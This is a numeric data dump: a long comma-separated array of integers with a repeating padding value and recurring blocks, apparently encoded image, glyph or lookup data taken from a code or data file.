37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,51946,37318,44953,37318,54915,54931,37318,54967,54974,54990,55006,55021,55037,55066,55050,55080,65689,37318,37318,51966,38825,37318,37318,37318,54010,55096,55115,48257,55149,55184,55227,55249,41525,55284,55303,63265,55333,37318,37318,37318,40256,37318,55133,55360,37318,37318,37318,55377,52524,73164,55412,59232,72644,55450,55508,48452,55571,48764,46504,61212,71358,65498,52836,55590,72384,66401,41461,55624,55653,37318,55162,48123,45480,68146,44384,37318,37318,55690,55710,55730,55750,50821,72644,73775,55770,55805,41363,53990,41542,54303,55821,55849,65493,53022,65498,61780,55897,55924,46825,56459,41461,71394,55962,55996,47041,37318,37318,37318,54660,56044,56069,49736,37318,37318,37318,56099,56122,72644,56141,70528,58519,56160,58143,41542,63117,55574,66717,50850,52564,65498,63146,65498,56203,56221,51808,41461,56467,41461,56251,56269,54854,55099,56307,46073,56323,59679,56339,62046,56355,52688,61008,58074,70003,51212,41542,66283,70084,56375,56396,56430,65125,61593,46531,69280,62369,41461,56449,56483,56517,56546,63230,66178,37927,69494,47228,56575,66873,56144,56596,56612,70031,45388,56647,56669,56693,56729,56747,56781,56815,56873,56892,51765,56928,56955,37318,37318,61883,53848,56976,57010,57028,57047,57072,57089,57107,57133,57151,57170,57197,57216,56936,60597,37318,40353,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,57236,61615,37318,57252,51333,57276,57295,62141,50073,54877,49498,57311,72644,50030,54383,59799,54339,39384,52786,55523,72337,68506,73161,59759,73663,59797,47605,60497,50030,47449,46829,57331,57347,55938,57396,53268,62159,62339,66862,41867,57424,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,42152,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,57475,57504,57488,57518,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,66211,72644,45386,41542,41542,57534,52709,65498,65498,49388,65498,57854,41461,41461,51784,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,41502,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,52736,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,47060,37318,37318,37318,37318,37318,37318,37318,37318,37318,57438,72644,72644,72644,72644,72645,61918,41542,41542,41542,41542,41542,45363,57553,65498,65498,65498,65498,59800,57571,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,39711,37318,44953,37318,42450,57589,57607,57625,51565,57641,57677,57681,57697,57726,57710,57740,65689,51556,37318,41289,37087,47346,60068,37318,37318,39892,37318,40511,57756,45560,57818,57834,63977,57879,60331,41648,58e3,57914,37318,37318,38814,37318,37318,57949,44882,37318,57925,37318,67807,49037,57985,58044,51257,58061,58115,58131,41542,58165,54574,59660,56705,57154,47834,58193,52256,58227,57863,58246,50918,53781,37318,37318,37318,37318,49029,67667,37318,37318,37318,37318,73164,60986,49757,72644,58283,72644,58309,58331,63863,47408,61105,41542,58368,58389,67585,57555,49801,65498,58422,58441,68033,65185,60256,69351,47041,37318,61839,58465,37318,37318,45281,53688,37318,37318,37318,72643,72644,72644,63835,58500,58535,38772,41542,41542,55268,69704,69729,45363,65498,65498,61489,63774,58568,59800,41461,41461,66754,51734,58602,47863,54854,58637,37318,37318,68901,37318,37318,37318,72642,66219,72644,72644,72644,38767,67986,41542,41542,41542,41444,65497,56713,65498,65498,65498,59803,71875,41461,41461,41461,47863,54899,37318,58657,37318,51097,69488,55754,58674,72644,72644,58694,58724,41542,41542,58745,58769,65498,65498,61143,58793,41461,41461,71804,37318,68935,37318,73352,37318,72644,49303,60920,41542,72302,41542,65498,52557,65498,63673,46570,41461,56936,37318,38852,37318,73163,72644,56106,50031,41542,58818,65498,73828,59802,41461,48715,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,53248,58845,64251,68569,67094,58879,59108,47606,53268,62159,58907,58895,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37319,37318,44953,37318,37318,58923,37318,37038,61423,60807,58942,58956,58972,59001,58985,59015,65689,38336,37318,41289,37087,37318,59031,37318,37318,40327,37318,38338,59049,40328,59079,54363,41369,59103,48516,62003,72217,37318,37318,59124,68839,37318,63001,62951,44924,37318,37318,37318,59142,59160,59182,72644,59203,59223,59256,41542,57091,48815,59272,59718,65498,52599,56799,57854,54450,41461,63259,59312,52629,59347,40308,54027,37318,37318,37318,37318,56028,37318,37318,37318,73164,56849,59370,68264,72644,72644,41363,63477,59429,70290,41542,41542,65493,64678,69828,70882,65498,65498,46825,59459,66600,59489,41461,41461,47041,37318,60820,72604,37318,37318,56414,63654,59509,37318,37318,72643,61043,72644,72644,59543,72645,59566,72479,41542,41542,59585,41542,65528,73531,59619,65498,70373,65498,59800,54834,59637,41461,64050,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,44851,37318,37318,37318,37318,59207,72644,60920,61740,41542,41542,73606,65498,65498,49876,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,61445,73662,65498,59655,59802,56876,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,59676,72644,59695,59713,71108,58802,59734,59756,59775,59794,59819,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,59854,73737,67066,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,67305,48392,37318,54855,59885,59896,59919,66152,67290,59971,59985,60001,60031,60044,60015,65689,47586,44905,38860,60060,60084,37318,60579,48333,40435,72237,60111,60138,60122,60182,60217,60279,60316,65566,60366,50482,58641,37318,37318,48606,72949,68216,73429,60392,69215,60419,37318,60465,60494,60514,60535,72871,72644,60555,49584,41542,47939,52709,70645,70888,65498,70640,57854,54601,60344,63674,41461,59473,64205,46157,37318,60571,37318,37318,37318,60595,37318,37318,45177,73164,60613,72644,53647,72644,72644,41363,60640,41542,61097,41542,41542,58708,70406,65498,55874,65498,65498,50904,58204,41461,60666,41461,41461,47041,37318,37318,37318,37318,40106,37318,37318,44677,60687,37318,60703,72644,72644,46744,72644,58087,60725,41542,41542,41542,60758,74033,52815,65498,65498,65498,52593,61759,41832,41461,41461,41461,53066,69906,47863,49504,60776,60792,64608,60842,51384,60860,60895,60918,60939,60974,61031,61070,38767,70056,61088,61121,61167,41444,65497,61193,61228,55536,61274,59803,61293,61309,61258,72531,61332,54854,48246,61348,61369,61414,58477,51897,68272,58678,65107,61439,53722,46795,49566,61461,54813,65498,61486,61505,72623,61531,61548,61568,67348,61609,37318,37318,61636,61678,47889,61697,61718,52147,61736,61756,56291,61775,61796,55608,61816,46251,61838,37318,61855,73163,61899,68974,61934,52295,73662,61950,58777,71058,61966,62e3,62019,63023,62043,40852,60923,72471,73664,62062,59801,62083,49498,62101,55233,62122,54383,62157,62175,62225,62247,62263,62279,62295,62331,57449,55864,54413,66647,60497,50030,47449,46829,60496,73658,47451,47606,62355,62391,62339,66862,41867,41898,57361,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,62425,44953,37318,41929,62645,37318,37318,67919,62449,62465,62479,62495,62524,62508,62538,62554,62570,62591,51116,40267,62636,62669,37763,62688,62721,40114,62768,62784,62800,62846,62862,62878,62894,62929,62967,62983,37318,74513,46381,42254,37318,40466,50397,50445,63017,37318,37318,63039,73164,72644,63059,63089,55789,45386,47983,63105,51466,69257,65498,47963,66977,63139,63162,41461,63187,63203,63246,60376,37318,65243,37318,54083,37318,65923,63281,37318,49694,37318,63306,63323,63356,63373,63389,72644,67473,63412,41542,63428,63500,41542,54700,59443,65498,63522,63557,65498,56187,53414,41461,63578,63594,41461,68051,48021,46148,37318,59832,55125,37318,37318,37318,37318,37318,63803,72643,72644,70758,59187,72644,72645,38772,41542,55434,57073,41542,41542,45363,65498,74070,65498,63613,65498,59800,41461,60671,41461,63633,41461,47863,54854,37318,37318,63653,44684,37318,37318,37318,72642,72644,72644,72644,57012,55426,41542,41542,41542,41542,66835,62140,65498,65498,65498,65498,63670,41461,41461,41461,41461,63690,54854,67948,37318,37318,37318,37318,63712,72644,63734,72644,46430,41542,63751,41542,56170,65498,63769,65498,41577,41461,51728,41461,47288,63790,37318,37318,37318,37318,62822,66520,60920,41416,71239,41542,47825,58753,65498,61151,71116,41461,72584,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,45334,61615,37318,63825,73373,63858,64501,63879,65885,41461,56530,63897,63917,63966,63993,64029,64066,39534,64101,64126,64163,64186,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,50006,53268,62159,64221,66862,41867,64277,64293,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,66665,44953,37318,37318,68891,37318,64328,64337,67698,39838,64353,64369,64398,64382,64414,65689,37318,69115,41289,37087,37318,37318,63950,37318,51547,37318,37318,37318,44404,64465,64494,64517,49717,67057,64557,72217,37318,64583,37318,68839,37318,40908,40502,64605,50368,64607,37318,37318,62231,64624,67101,73183,63396,64650,67404,68345,48485,71344,64666,64694,64712,71834,64730,57181,60350,61532,53072,55317,64759,37318,64782,64801,45664,45866,38224,37318,37318,37318,37318,73164,72644,72644,52669,72644,72644,41363,41542,41542,67409,41542,41542,65493,65498,65498,55555,65498,65498,46825,41461,41461,68042,41461,41461,49668,53220,61353,37318,37318,37318,64818,59354,57374,68538,37318,72643,72644,64837,72644,72644,72645,64870,41542,64889,41542,41542,41542,68453,65498,51231,64925,65498,65498,59800,41461,61515,64943,41461,41461,47863,54854,59903,37318,37318,37318,37909,37318,37318,72642,72644,72644,64960,72644,56626,41542,41542,73894,41542,42296,65497,65498,65498,64978,65498,59803,41461,41461,71869,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,52897,37318,59144,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,62943,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,56828,64997,65024,65045,64231,59603,54339,38753,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,46305,37318,37318,37318,42426,42429,65068,54066,65102,51341,41369,65123,50559,62003,48585,65141,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,43472,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,65158,41542,41542,41542,41542,41542,66019,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,52976,72644,72644,38767,41542,41542,73801,41542,41444,65497,65498,49370,65498,65498,59803,41461,41461,65182,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,51274,72644,50031,65201,73662,71079,65498,59802,58261,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37806,44953,65219,37318,37420,65239,37318,67919,65259,65275,65288,65304,65333,65317,65347,65689,45409,47790,41289,50740,71165,72077,54775,46691,68943,37318,65363,65398,65418,65465,65515,65551,65582,68491,65617,65675,37318,37318,37318,55396,65708,50432,65732,40783,60879,37318,37318,46888,65750,54125,65773,60201,65790,65831,49353,41542,61177,57056,65855,49783,65498,65874,65901,41461,65939,58230,64743,49003,37318,37318,37318,54951,44007,65958,37318,73691,37318,44004,69414,59740,72644,52378,72644,64962,65976,66005,41542,53183,41542,52448,66040,66074,65498,73466,65498,70854,66103,60245,41461,66119,41461,72537,66911,47041,37318,37318,38803,72980,60478,40954,37318,37480,66138,66168,66202,72644,66235,46345,66251,72645,66271,41542,58177,66299,66320,41542,56559,65498,65535,66344,66367,65498,69808,41461,53763,66394,66417,41461,47863,49919,37318,37318,52902,66451,37318,66495,39978,72642,66512,60519,72644,72644,38767,65839,41542,66536,41542,41444,65497,66557,54721,65498,65498,59803,66582,73488,41461,41461,52328,47223,43477,62672,37318,37318,37318,65382,72644,72644,61681,58099,41542,41542,41542,66616,65498,65498,65498,66632,66681,41461,41461,54252,37318,70963,37318,37318,37318,66698,72644,60920,66716,41542,67896,66733,65498,69783,66751,41461,54608,56936,37318,66770,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,56009,66788,66811,66827,66851,66889,49836,61620,60922,73660,47450,46828,42223,66927,59778,49606,47605,66943,50030,47449,46829,60496,73658,47451,52229,66963,67001,67042,47192,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318